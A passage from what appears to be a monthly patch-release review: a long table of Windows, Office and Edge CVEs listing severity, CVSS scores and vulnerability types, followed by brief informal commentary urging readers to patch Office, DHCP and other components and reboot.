Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics 